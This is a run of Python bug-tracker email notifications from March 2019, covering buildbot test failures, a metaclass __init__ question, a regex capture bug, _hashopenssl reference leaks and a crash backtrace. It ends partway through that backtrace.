Message-ID: <1551672638.09.0.009972748448.issue20906@roundup.psfhosted.org>


A.M. Kuchling <amk at amk.ca> added the comment:


New changeset 97c288df614dd7856f5a0336925f56a7a2a5bc74 by Andrew Kuchling in branch 'master':
bpo-20906: Various revisions to the Unicode howto  (#8394)
https://github.com/python/cpython/commit/97c288df614dd7856f5a0336925f56a7a2a5bc74


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20906>
_______________________________________

From report at bugs.python.org  Sun Mar  3 23:10:38 2019
From: report at bugs.python.org (A.M. Kuchling)
Date: Mon, 04 Mar 2019 04:10:38 +0000
Subject: [issue34484] Unicode HOWTO incorrectly refers to Private Use Area for
 surrogateescape
In-Reply-To: <1535058879.5.0.56676864532.issue34484@psf.upfronthosting.co.za>
Message-ID: <1551672638.25.0.522354054177.issue34484@roundup.psfhosted.org>


A.M. Kuchling <amk at amk.ca> added the comment:


New changeset 97c288df614dd7856f5a0336925f56a7a2a5bc74 by Andrew Kuchling in branch 'master':
bpo-20906: Various revisions to the Unicode howto  (#8394)
https://github.com/python/cpython/commit/97c288df614dd7856f5a0336925f56a7a2a5bc74


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34484>
_______________________________________

From report at bugs.python.org  Sun Mar  3 23:10:40 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 04:10:40 +0000
Subject: [issue20906] Issues in Unicode HOWTO
In-Reply-To: <1394702187.81.0.00522221343959.issue20906@psf.upfronthosting.co.za>
Message-ID: <1551672640.07.0.69598048055.issue20906@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12153

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20906>
_______________________________________

From report at bugs.python.org  Sun Mar  3 23:10:40 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 04:10:40 +0000
Subject: [issue34484] Unicode HOWTO incorrectly refers to Private Use Area for
 surrogateescape
In-Reply-To: <1535058879.5.0.56676864532.issue34484@psf.upfronthosting.co.za>
Message-ID: <1551672640.18.0.28561366194.issue34484@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
keywords: +patch
pull_requests: +12154

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34484>
_______________________________________

From report at bugs.python.org  Mon Mar  4 00:36:07 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 04 Mar 2019 05:36:07 +0000
Subject: [issue36175] Identity of bound methods
In-Reply-To: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>
Message-ID: <1551677767.92.0.261231711818.issue36175@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

>
> Could you explain (or send me a link to) what happens when an instance method is accessed

descriptor of function object creates bound method.  You can google "descriptor python".

> and why this should be different from what happens when an unbound method is accessed?

No "should", just "can".

`3 + 5 is 8` can be True of False by language definition, while `3 + 5 == 8` is always True.

Like it, descriptor may or may not same instance by language definition.

>
> The `is` keyword has been very useful for me in introspection cases and that is why I'm confused that it doesn't behave as expected here.
>

You're confused because you're using wrong guide; `is`.
There are many cases that language spec doesn't define same instance is returned or not.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Mon Mar  4 01:01:56 2019
From: report at bugs.python.org (Abe Leite)
Date: Mon, 04 Mar 2019 06:01:56 +0000
Subject: [issue36175] Identity of bound methods
In-Reply-To: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>
Message-ID: <1551679316.12.0.0638683762565.issue36175@roundup.psfhosted.org>


Abe Leite <abrahamjleite at gmail.com> added the comment:

Thank you for the explanation. I looked up the documentation for descriptors and I understand better now. I appreciate it!

-Abe

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:13:27 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:13:27 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551687207.26.0.226292390806.issue36116@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> It's also possible that the child process is causing the segfault because of misconfiguration (e.g. broken environment variables).

Maybe, but the test also produces core dump on FreeBSD: bpo-36114. It looks more like a real bug.

I set the priority again to release blocker to not forget this regression.

----------
priority: high -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:20:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:20:44 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
Message-ID: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

I don't recall this failure previously, it looks like a regression.

https://buildbot.python.org/all/#/builders/58/builds/2001

======================================================================
FAIL: test_daemon_threads_shutdown_stdout_deadlock (test.test_io.CMiscIOTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_io.py", line 4138, in test_daemon_threads_shutdown_stdout_deadlock
    self.check_daemon_threads_shutdown_deadlock('stdout')
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_io.py", line 4129, in check_daemon_threads_shutdown_deadlock
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stdout>'> at interpreter shutdown, possibly due to daemon threads" not found in ''

--

Copy of David Bolen's (the buildbot worker owner) message on bpo-33608, msg336897:

"""
I suspect changes for this issue may be creating test_io failures on my windows builders, most notably my x86 Windows 7 builder where test_io has been failing both attempts on almost all builds.  It fails with a lock failure during interpreter shutdown, and commit ef4ac967 appears the most plausible commit out of the set introduced at the first failing build on Feb 24.

See https://buildbot.python.org/all/#/builders/58/builds/1977 for the first failure.  test_io has failed both attempts on all but 3 of the subsequent 16 tests of the 3.x branch.

It might be worth noting that this builder is slow, so if there are timeouts involved or a race condition of any sort it might be triggering it more readily than other builders.  I do, however, see the same failures - albeit less frequently and not usually on both tries - on the Win8 and Win10 builders.

For what it's worth one other oddity is that while having test_multiprocessing* failures are relatively common on the Win7 builder during the first round of tests due to exceeding the timeout, they usually pass on the retry, but over this same time frame have begun failing - not due to timeout - even on the second attempt, which is unusual.  It might be coincidental but similar failures are also showing up sporadically on the Win8/Win10 builders where such failures are not common at all.
"""

----------
components: Tests
messages: 337073
nosy: db3l, eric.snow, pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_io: test_daemon_threads_shutdown_stdout_deadlock() fails on x86 Windows7 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:21:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:21:36 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
In-Reply-To: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>
Message-ID: <1551687696.37.0.399574591174.issue36177@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Oh, David also wrote:

"""
If I can help with testing or builder access or anything just let me know.  It appears that I can pretty reliably trigger the error through just the individual tests (test_daemon_threads_shutdown_std{out,err}_deadlock) in isolation, which is definitely less tedious than a full buildbot run to test a change.

BTW, while not directly related since it was only just merged, and I won't pretend to have any real understanding of the changes here, I do have a question about PR 12024 ... it appears HEAD_UNLOCK is used twice in _PyInterpreterState_LookUpID.  Shouldn't one of those be HEAD_LOCK?
"""

https://bugs.python.org/issue33608#msg336975

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:22:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:22:10 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551687730.52.0.904085771538.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> I suspect changes for this issue may be creating test_io failures on my windows builders, (...)

I created bpo-36177 to track this regression.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:23:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:23:44 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551687824.46.0.83926144557.issue36114@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: test_multiprocessing_spawn dumps core in AMD64 FreeBSD CURRENT Shared custom -> test_multiprocessing_spawn dumps core in AMD64 FreeBSD CURRENT Shared 3.x

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:37:54 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 04 Mar 2019 08:37:54 +0000
Subject: [issue35828] test_multiprocessing_fork - crashes in PyDict_GetItem -
 segmentation error
In-Reply-To: <1548421607.34.0.921297585279.issue35828@roundup.psfhosted.org>
Message-ID: <1551688674.55.0.547419092852.issue35828@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

I see I already asked howto better utilize this info:

ConnectionRefusedError: [Errno 79] Connection refused
Warning -- files was modified by test_multiprocessing_fork
  Before: []
  After:  ['core']

-- so, more specific -- which module, or file, is doing this check - as I would like to do postmortem analysis of the core dump.

Thx.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35828>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:41:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:41:01 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551688861.57.0.695489721374.issue36116@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

test_mymanager and test_mymanager_context of test_multiprocessing_spawn.WithManagerTestMyManager failed in this build:

> https://buildbot.python.org/all/#/builders/58/builds/1983/steps/3/logs/stdio

ERROR: test_multiprocessing (test.test_venv.BasicTest)
FAIL: test_async_gen_asyncio_gc_aclose_09 (test.test_asyncgen.AsyncGenAsyncioTest)
FAIL: test_daemon_threads_shutdown_stderr_deadlock (test.test_io.CMiscIOTest)
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stderr>'> at interpreter shutdown, possibly due to daemon threads" not found in (...)
FAIL: test_daemon_threads_shutdown_stdout_deadlock (test.test_io.CMiscIOTest)
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stdout>'> at interpreter shutdown, possibly due to daemon threads" not found in ''
Re-running failed tests in verbose mode
Re-running test 'test_venv' in verbose mode
ERROR: test_multiprocessing (test.test_venv.BasicTest)
Re-running test 'test_asyncgen' in verbose mode
Re-running test 'test_multiprocessing_spawn' in verbose mode
FAIL: test_mymanager (test.test_multiprocessing_spawn.WithManagerTestMyManager)
FAIL: test_mymanager_context (test.test_multiprocessing_spawn.WithManagerTestMyManager)
Re-running test 'test_io' in verbose mode
FAIL: test_daemon_threads_shutdown_stderr_deadlock (test.test_io.CMiscIOTest)
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stderr>'> at interpreter shutdown, possibly due to daemon threads" not found in (...)
FAIL: test_daemon_threads_shutdown_stdout_deadlock (test.test_io.CMiscIOTest)
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stdout>'> at interpreter shutdown, possibly due to daemon threads" not found in ''

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:41:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:41:57 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551688917.23.0.617533493463.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I can reproduce the crash on my FreeBSD 12 VM:

vstinner at freebsd$ ./python -m test --fail-env-changed test_multiprocessing_spawn -v

FAIL: test_mymanager_context_prestarted (test.test_multiprocessing_spawn.WithManagerTestMyManager)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/vstinner/prog/python/master/Lib/test/_test_multiprocessing.py", line 2754, in test_mymanager_context_prestarted
    self.assertEqual(manager._process.exitcode, 0)
AssertionError: -10 != 0

Warning -- files was modified by test_multiprocessing_spawn
  Before: []
  After:  ['python.8184.core']

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:44:53 2019
From: report at bugs.python.org (Hameer Abbasi)
Date: Mon, 04 Mar 2019 08:44:53 +0000
Subject: [issue36178] type.__init__ called instead of cls.__init__ when
 inheriting from type.
Message-ID: <1551689093.57.0.614236443318.issue36178@roundup.psfhosted.org>


New submission from Hameer Abbasi <einstein.edison at gmail.com>:

I may be completely misunderstanding here, but: here's a reproducible example:

class MyMeta(type):
    def __new__(cls, *args, **kwargs):
        print('__new__', *args, **kwargs)
        super().__new__(cls, *args, **kwargs)
    
    def __init__(self, a):
        print('__init__', *args, **kwargs)
        super().__init__(*args, **kwargs)

class A(metaclass=MyMeta):
    pass

MyMeta('A', (), {'__module__': '__main__', '__qualname__': 'A'})


Output:

__new__ A () {'__module__': '__main__', '__qualname__': 'A'}
__new__ A () {'__module__': '__main__', '__qualname__': 'A'}

Is this by design?

----------
components: Interpreter Core
messages: 337079
nosy: Hameer Abbasi
priority: normal
severity: normal
status: open
title: type.__init__ called instead of cls.__init__ when inheriting from type.
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36178>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:45:09 2019
From: report at bugs.python.org (Peixing Xin)
Date: Mon, 04 Mar 2019 08:45:09 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1551689109.94.0.323287836748.issue31904@roundup.psfhosted.org>


Change by Peixing Xin <peixing.xin at windriver.com>:


----------
pull_requests: +12155

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:45:30 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 04 Mar 2019 08:45:30 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551689130.04.0.854724868675.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Interesting, I tried several hours to reproduce the crash on the buildbot itself manually and I could not do it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:57:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:57:43 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551689863.5.0.53743473519.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I recently (Feb 25) fixed the config of this slow buildbot to change the timeout from 15 min to 20 min:

https://github.com/python/buildmaster-config/commit/37cf09ca9a5b6ce14b4e9b481101d559c4e55485
https://github.com/python/buildmaster-config/commit/e4155a744819acdbe7ada03b12116f7c147a9166

It seems like there is a correlation between this buildbot config change and the buildbot starting to create a coredump file. The test started to create a core dump around build 624, Feb 25.

--

With coredump.

Warning -- files was modified by test_multiprocessing_spawn:

https://buildbot.python.org/all/#/builders/168/builds/624
# 625 was fine
https://buildbot.python.org/all/#/builders/168/builds/626
https://buildbot.python.org/all/#/builders/168/builds/628
https://buildbot.python.org/all/#/builders/168/builds/629
https://buildbot.python.org/all/#/builders/168/builds/630
https://buildbot.python.org/all/#/builders/168/builds/631

--

Without coredump: fail but no coredump.

ERROR: test_shared_memory_SharedMemoryManager_basics (test.test_multiprocessing_forkserver.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_across_processes (test.test_multiprocessing_forkserver.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_basics (test.test_multiprocessing_forkserver.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_ShareableList_basics (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_ShareableList_pickling (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_SharedMemoryManager_basics (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_across_processes (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_basics (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_ShareableList_basics (test.test_multiprocessing_fork.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_ShareableList_pickling (test.test_multiprocessing_fork.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_SharedMemoryManager_basics (test.test_multiprocessing_fork.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_across_processes (test.test_multiprocessing_fork.WithProcessesTestSharedMemory)
ERROR: test_shared_memory_basics (test.test_multiprocessing_fork.WithProcessesTestSharedMemory)
Re-running failed tests in verbose mode

https://buildbot.python.org/all/#/builders/168/builds/617
https://buildbot.python.org/all/#/builders/168/builds/618
https://buildbot.python.org/all/#/builders/168/builds/620
https://buildbot.python.org/all/#/builders/168/builds/622
https://buildbot.python.org/all/#/builders/168/builds/623

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:58:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:58:47 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551689927.19.0.270910918141.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I set the priority to release blocker to remind to fix this regression. I guess that it's the same bug than bpo-36116, but since it's a different OS (FreeBSD / Windows), I prefer to continue to use separated issues.

----------
nosy: +lukasz.langa
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:02:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 09:02:31 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1551690151.54.0.800327987726.issue31904@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f4b0a1c0da80318e0a4f4c70d2722f01ce3512dd by Victor Stinner (pxinwr) in branch 'master':
bpo-31904: Add encoding support for VxWorks RTOS (GH-12051)
https://github.com/python/cpython/commit/f4b0a1c0da80318e0a4f4c70d2722f01ce3512dd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:06:45 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 04 Mar 2019 09:06:45 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551690405.6.0.69670493409.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Can you paste traceback of the dump that you were able to generate in your FreeBSD? I wonder if you can get the symbols that the one I pasted were missing (likely in libthr.so).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:17:57 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 04 Mar 2019 09:17:57 +0000
Subject: [issue36178] type.__init__ called instead of cls.__init__ when
 inheriting from type.
In-Reply-To: <1551689093.57.0.614236443318.issue36178@roundup.psfhosted.org>
Message-ID: <1551691077.2.0.110238024185.issue36178@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Your metaclass.__new__ method returns None instead of the new class. The rule for calling __init__ is:

- if the constructor __new__ returns an instance of the type, then call the initializer __init__

- otherwise, don't call __init__ at all.

https://docs.python.org/3/reference/datamodel.html#object.__new__

Since your __new__ accidentally returns None, the __init__ is not called. If you change the line to say 

return super().__new__(cls, *args, **kwargs)

you will see that __init__ is called. (And discover the bugs in your init method :-)

----------
nosy: +steven.daprano
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36178>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:22:24 2019
From: report at bugs.python.org (Hameer Abbasi)
Date: Mon, 04 Mar 2019 09:22:24 +0000
Subject: [issue36178] type.__init__ called instead of cls.__init__ when
 inheriting from type.
In-Reply-To: <1551689093.57.0.614236443318.issue36178@roundup.psfhosted.org>
Message-ID: <1551691344.85.0.267174231852.issue36178@roundup.psfhosted.org>


Hameer Abbasi <einstein.edison at gmail.com> added the comment:

Ah, I wasn't aware I had to return...

The bug was deliberate to show that not even a different signature makes a difference. ;)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36178>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:25:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 09:25:16 +0000
Subject: [issue36114] test_multiprocessing_spawn:
 WithProcessesTestSharedMemory dumps core in AMD64 FreeBSD CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551691516.73.0.992511988866.issue36114@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: test_multiprocessing_spawn dumps core in AMD64 FreeBSD CURRENT Shared 3.x -> test_multiprocessing_spawn: WithProcessesTestSharedMemory dumps core in AMD64 FreeBSD CURRENT Shared 3.x

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:41:10 2019
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 04 Mar 2019 09:41:10 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
Message-ID: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>


New submission from Christian Heimes <lists at cheimes.de>:

Charalampos Stratakis from Red Hat's Python Maintenance Team found two minor reference leaks in _hashopenssl.c. Ref counts of newly allocated are not decreased when allocation of another object fails.

----------
assignee: christian.heimes
components: Extension Modules
messages: 337087
nosy: christian.heimes, gregory.p.smith
priority: normal
severity: normal
stage: patch review
status: open
title: _hashopenssl has reference leaks in OOM case
type: resource usage
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:44:56 2019
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 04 Mar 2019 09:44:56 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551692696.88.0.192083418696.issue36179@roundup.psfhosted.org>


Change by Christian Heimes <lists at cheimes.de>:


----------
keywords: +patch
pull_requests: +12156

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:59:51 2019
From: report at bugs.python.org (Ma Lin)
Date: Mon, 04 Mar 2019 09:59:51 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1551693591.03.0.481765778361.issue35859@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

Found another bug in re:

>>> re.match(r'(?:.*?\b(?=(\t)|(x))x)*', 'a\txa\tx').groups()
('\t', 'x')

Expected result: (None, 'x')

PHP 7.3.2           NULL, "x"
Java 11.0.2         "\t", "x"
Perl 5.28.1         "\t", "x"
Ruby 2.6.1          nil, "x"
Go 1.12             doesn't support lookaround
Rust 1.32.0         doesn't support lookaround
Node.js 10.15.1     undefined, "x"
regex 2019.2.21     None, "x"
re                  "\t", "x"

This is a very rare bug, can be fixed by adding MARH_PUSH() before JUMP_MIN_REPEAT_ONE. And maybe other JUMPs should MARK_PUSH() as well.

I'm impressed with regex module, it never went wrong.
IMHO, I would like to see a pruned version be adopted into stdlib.

~~~~~~~~~~~~~~~~~~~~~~
> Interesting sidelights 1
> Found a Perl bug

I reported to Perl, it's a bug in perl-5.26, and already fixed in perl-5.28.0.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Mon Mar  4 05:42:02 2019
From: report at bugs.python.org (Petr Viktorin)
Date: Mon, 04 Mar 2019 10:42:02 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551696122.02.0.0501047351008.issue36124@roundup.psfhosted.org>


Petr Viktorin <encukou at gmail.com> added the comment:

PyModule_GetState() gives you *per-module* state, not per-interpreter state.

Module objects are shared across subinterpreters, unless you use multi-phase initialization.

> PyModule_GetState() requires having the module object that corresponds
> to the given interpreter state.  I'm not sure how a C extension module
> is supposed to get its own module object corresponding to the current
> interpreter state, without getting it from the caller in some way.

This is the problem described in PEP 573: you don't always have access to your own module object. That keeps some more complex modules from switching to multi-phase init.

Unless this issue can wait for when PEP 580, PEP 573, and possibly some fallout of unknown unknowns are solved, let's add PyInterpreterState_GetDict for now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Mon Mar  4 05:42:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 10:42:46 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551696166.93.0.922689996254.issue36124@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:03:06 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 11:03:06 +0000
Subject: [issue36114] test_multiprocessing_spawn:
 WithProcessesTestSharedMemory dumps core in AMD64 FreeBSD CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551697386.71.0.486287586753.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Example of crash:

* Thread 2 exit Python: PyRun_SimpleStringFlags->PyErr_PrintEx->handle_system_exit->Py_Exit->OPENSSL_cleanup...
* Thread 1 tries to acquire the GIL to close a file
* Thread 3 is waiting in socket.socket.accept()

Problem: PyThreadState of Thread 1 is corrupted: its memory has been freed.



Thread 1 got the crash

(gdb) p tstate
$2 = (PyThreadState *) 0x8027e2050
(gdb) p *tstate
$3 = {
  prev = 0xdbdbdbdbdbdbdbdb,
  next = 0xdbdbdbdbdbdbdbdb,
  interp = 0xdbdbdbdbdbdbdbdb,
  ...
}

(gdb) p _PyRuntime.gilstate.tstate_current
$4 = {
  _value = 0
}



(gdb) thread apply all where

Thread 3 (LWP 100714):
#0  _accept4 () at _accept4.S:3
#1  0x0000000800679eaa in __thr_accept4 (s=5, addr=0x7fffdfff45f8, addrlen=0x7fffdfff45f0, flags=268435456) at /usr/src/lib/libthr/thread/thr_syscalls.c:126
